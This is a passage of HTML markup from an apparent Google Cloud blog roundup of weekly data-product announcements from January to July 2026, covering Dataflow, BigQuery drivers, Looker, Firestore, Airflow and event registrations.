&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Dataflow pipeline updates are faster &amp;amp; more flexible&lt;br/&gt;&lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/dataflow/docs/guides/upgrade-guide"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Dataflow pipeline updates&lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt; &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;can now stop-and-replace pipelines, a major addition to the existing in-place-update feature. The new parallel pipeline option accelerates the migration between the old &amp;amp; new pipeline, resulting in reduced disruption to your business. You can also set a timeout on drains that prevents runaway costs for your pipeliness in the event of stuck processing. This feature is generally available. Try it &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/dataflow/docs/guides/updating-a-pipeline"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;here&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;!&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;July 6 - July 10&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;New Lakehouse managed tables now in preview &lt;br/&gt;&lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/manage-tables" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Lakehouse tables for Apache Iceberg&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; are now in preview and available &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;in the console&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;. By using Google-managed Apache Iceberg tables in Lakehouse, you can eliminate the overhead of maintaining duplicate data pipelines and complex synchronization logic between BigQuery and open-source engine&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;s&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;. This unified table format delivers native, multi-engine read and write interoperability, allowing you to run concurrent DML/DDL operations across diverse analytics tools on a single, shared storage layer.  Built-in automated table management handles painful background optimization tasks like compaction and partition tuning, freeing up your team to focus on building rather than managing storage maintenance.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;June 1 - June 5&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Beyond the Query: Powering AI Agents with Bigtable, Firestore &amp;amp; Memorystore &lt;br/&gt;&lt;/strong&gt;&lt;span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;Discover the latest advancements in Google Cloud's NoSQL Database portfolio, including Bigtable, Firestore, and Memorystore. This series is designed for a broad audience: whether you are exploring these databases for the first time or are an existing user looking to leverage the new capabilities announced at Next '26. &lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;a href="https://rsvp.withgoogle.com/events/beyond-the-query-powering-ai-agents-with-bigtable-firestore-memorystore" rel="noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Register here to secure your spot!&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Cloud Engineer's AI Toolkit Workshops: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Solve data-driven challenges with &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;BigQuery, AlloyDB&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Gemini&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; and more. &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Hosted by Google Cloud Labs, this highly technical event is built specifically for Platform Engineers, SREs, and cloud infrastructure teams ready to bridge the gap between AI prototypes and production-grade deployments. Look out for more locations coming soon&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Toronto&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; - June 25 (Data Cloud) | &lt;/span&gt;&lt;a href="https://rsvp.withgoogle.com/events/google-cloud-labs-data-cloud-toronto" rel="noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;RSVP Here&lt;/span&gt;&lt;/a&gt;&lt;br/&gt;&lt;strong style="vertical-align: baseline;"&gt;Chicago&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; - June 30 (Data Cloud) | &lt;/span&gt;&lt;a href="https://rsvp.withgoogle.com/events/google-cloud-labs-data-cloud-chicago" rel="noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;RSVP Here&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;strong style="vertical-align: baseline;"&gt;Start a 10-day &lt;/strong&gt;&lt;a href="https://cloud.google.com/bigtable"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Bigtable&lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt; free trial with a 1 node SSD cluster and up to 500GB of storage capacity. &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;W&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;ith no credit card required to start, you can easily ingest workloads and manage workloads that require low-latency, high-throughput, and predictable access. &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Plus, new Google Cloud customers get &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/sql/docs/mysql/create-free-trial-instance"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;$300 in free credits&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; on signup.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;May 11 - May 15&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;strong style="vertical-align: baseline;"&gt;Managed Service for Apache Airflow&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; has launched a wave of new features, including the general availability of Airflow 3.1, AI-powered agentic troubleshooting, a new managed Airflow MCP Server for custom agent integration, and declarative YAML-based orchestration pipelines—discover all the details in the&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/managed-apache-airflow-scaling-data-and-ai-workloads"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;full blog post&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;April 20 - April 24&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;strong style="vertical-align: baseline;"&gt;Google-built ODBC Driver for BigQuery is now available in Preview&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;We are excited to announce the launch of the new, Google-built ODBC driver for BigQuery. This new open-source driver provides a direct, high-performance connection for applications to BigQuery and is developed entirely in-house by Google. &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/odbc-for-bigquery"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Download a new driver and connect your application to BigQuery&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;April 13 - April 17&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;We announced &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/looker-studio-is-data-studio"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;we are reintroducing Data Studio&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to play a significant role in the AI era, expanding from data visualizations and reports to host BigQuery conversational agents and data apps built in Colab notebooks.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;We announced &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/introducing-bigquery-graph"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;BigQuery Graph is now available in preview&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, offering an easy-to-use, highly scalable graph analytics solution, empowering data professionals to model, analyze and visualize massive-scale relationships in an entirely new way. &lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;April 6 - April 10&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;We introduced &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/business-intelligence/looker-embedded-adds-conversational-analytics"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Conversational Analytics for Looker Embedded environments&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, enabling users to add natural language experiences to their own custom data-driven applications, powered by Gemini. &lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="vertical-align: baseline;"&gt;We expanded Looker’s capabilities for faster ad-hoc analysis, with the &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/business-intelligence/looker-self-service-explores"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;introduction of self-service Explores&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, enabling you to bring your own data to Looker’s semantic layer and gain instant access to insights in a governed data environment.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;March 23 - March 27&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;We showed you how you can &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/databases/cloudsql-read-pools-support-autoscaling"&gt;&lt;span style="vertical-align: baseline;"&gt;scale your reads with Cloud SQL autoscaling read pools.&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; This feature allows you to provision multiple read replicas that are accessible via a single read endpoint and to dynamically adjust your read capability based on real-time application needs. &lt;/span&gt;&lt;/li&gt;
&lt;li role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;Our customers are leveraging the full power of Conversational Analytics and Looker to drive major business and technical breakthroughs in the AI era. Companies like &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/telenor-looker"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Telenor&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/petcircle-looker"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Pet Circle&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/fluent-commerce"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Fluent Commerce&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/lighthouse"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Lighthouse Intelligence&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/wego"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Wego&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, and &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/roller"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ROLLER&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; are turning data into insights and actions, grounded by Looker’s semantic layer.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;March 16 - March 20&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;We introduced &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/gemini-supercharges-the-bigquery-studio-assistant"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;an enhanced Gemini assistant in BigQuery Studio&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, transforming the agent from a code assistant into a fully context-aware analytics partner.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;February 23 - February 27&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;We introduced &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/databases/managed-mcp-servers-for-google-cloud-databases"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;managed and remote MCP support for Google Cloud databases&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, including AlloyDB, Spanner, Cloud SQL, Bigtable and Firestore, to power the next generation of agents. This announcement extends the ability for AI models to plan, build, and solve complex problems, connecting to the database tools our customers leverage daily as the backbone of their work environment.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;We outlined how you can &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/build-data-agents-with-conversational-analytics-api"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;build a conversational agent in BigQuery using the Conversational Analytics API&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to help you build context-aware agents that can understand natural language, query your BigQuery data, and deliver answers in text, tables, and visual charts.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;February 16 - February 20&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;Our customers are leveraging the full power of Looker to drive major business and technical breakthroughs. Companies like &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/arrive"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Arrive&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/audika"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Audika&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/looker-carousell"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Carousell&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/framebridge"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Framebridge&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/gumgum"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;GumGum&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/intel-looker"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Intel&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/overdose-digital"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Overdose Digital&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/one-looker"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Ocean Network Express&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/subskribe"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Subskribe&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/promevo-looker"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Promevo&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; are leveraging Looker’s newest AI-driven capabilities, including Conversational Analytics, to transform data to insights and actions, and empower their entire organization with a single source of truth, powered by Looker’s semantic layer.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;February 2 - February 6&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;Join us on March 4 for our webinar, Win Your AI Strategy with Cloud SQL Enterprise Plus, to learn how to power your generative AI workloads with 3x higher performance and 99.99% availability. &lt;/span&gt;&lt;a href="https://rsvp.withgoogle.com/events/win-your-ai-strategy-with-cloud-sql-enterprise-plus" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Register today&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to discover how to build a scalable, enterprise-grade foundation for your most demanding AI applications.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;January 26 - January 30&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;We introduced &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/introducing-conversational-analytics-in-bigquery"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Conversational Analytics in BigQuery&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;, which allows users to analyze data using natural language.&lt;/span&gt;&lt;/a&gt; &lt;span style="vertical-align: baseline;"&gt;Conversational Analytics in BigQuery is an intelligent agent that generates, executes and visualizes answers grounded in your business context directly in BigQuery Studio, making data insights for data professionals more conversational.&lt;/span&gt;&lt;/li&gt;
&lt;li role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;We outlined how &lt;/span&gt;&lt;a href="https://cloud.google.com/transform/from-asset-to-action-how-data-products-have-become-the-foundation-for-ai-agents"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;data products have become the foundation for AI agents&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, providing the context needed to make autonomous agents reliable and trusted for real business use, backed by organized business logic and semantic understanding.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;We highlighted how &lt;/span&gt;&lt;a href="https://cloud.google.com/use-cases/data-analytics-agents"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;you can supercharge data analytics workflows&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, and outlined Google Cloud’s AI agent offerings for data engineering, data science, and development tools, so you can integrate agentic workflows in your applications, empower your teams and speed discovery.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;January 19 - January 23&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;We have fundamentally reimagined &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/new-firestore-query-engine-enables-pipelines"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Firestore with pipeline operations for Enterprise edition&lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt;.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://www.mssqltips.com/sqlservertip/11578/introducing-google-cloud-sql/" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Introducing Google Cloud SQL on MSSQLTips&lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt;:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; We are highlighting a new technical guide published on MSSQLTips titled "Introducing Google Cloud SQL." This article serves as an essential resource for SQL Server administrators and developers exploring Google Cloud's fully managed database service. It provides a detailed overview of Cloud SQL capabilities, including high availability, security integration, and the seamless transition of on-premises SQL Server workloads to the cloud, making it an ideal resource for those planning their migration strategy.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;We are excited to announce the &lt;/span&gt;&lt;strong&gt;&lt;a href="https://medium.com/google-cloud/bridging-the-identity-gap-microsoft-entra-id-integration-with-cloud-sql-for-sql-server-a30207d63035" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Public Preview of Microsoft Entra ID&lt;/span&gt;&lt;/a&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (formerly Azure Active Directory) integration with Cloud SQL for SQL Server. Designed to tackle the challenge of identity sprawl in multi-cloud environments, this integration allows organizations to govern database access using their existing Microsoft identity infrastructure. Key benefits include centralized identity management, enhanced security features like Multi-Factor Authentication (MFA), and simplified user administration through direct group mapping. This feature is available for SQL Server 2022 and supports both public and private IP configurations.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;January 12 - January 16&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Google-built JDBC Driver for BigQuery is now available in Preview&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;We are excited to announce the launch of the new, Google-built JDBC driver for BigQuery. This new open-source driver provides a direct, high-performance connection for Java applications to BigQuery and is developed entirely in-house by Google. &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/jdbc-for-bigquery"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Download a new driver and connect your Java application to BigQuery&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong style="vertical-align: baseline;"&gt;Troubleshoot Airflow tasks instantly with Gemini Cloud Assist investigations:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Cloud Composer just got smarter. We are excited to announce that &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Gemini Cloud Assist investigations &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;are now available directly within&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt; Cloud Composer 3&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;. Instead of manually sifting through raw logs, you can now simply click "Investigate" on a failed Airflow task. Gemini analyzes logs and task metadata to identify failure patterns—such as resource exhaustion or timeouts—and provides actionable recommendations driven by Gemini Cloud Assist to resolve the issue. This integration shifts the debugging experience from manual toil to automated root cause analysis, significantly reducing the time required to restore your pipelines.&lt;/span&gt; &lt;a href="https://docs.cloud.google.com/composer/docs/composer-3/troubleshooting-dags#investigations"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Learn more about AI-assisted troubleshooting&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
&lt;div class="block-related_article_tout"&gt;





&lt;div class="uni-related-article-tout h-c-page"&gt;
  &lt;section class="h-c-grid"&gt;
    &lt;a href="https://cloud.google.com/blog/products/data-analytics/whats-new-with-google-data-cloud-2025/"
       data-analytics='{
                       "event": "page interaction",
                       "category": "article lead",
                       "action": "related article - inline",
                       "label": "article: {slug}"
                     }'
       class="uni-related-article-tout__wrapper h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
        h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3 uni-click-tracker"&gt;
      &lt;div class="uni-related-article-tout__inner-wrapper"&gt;
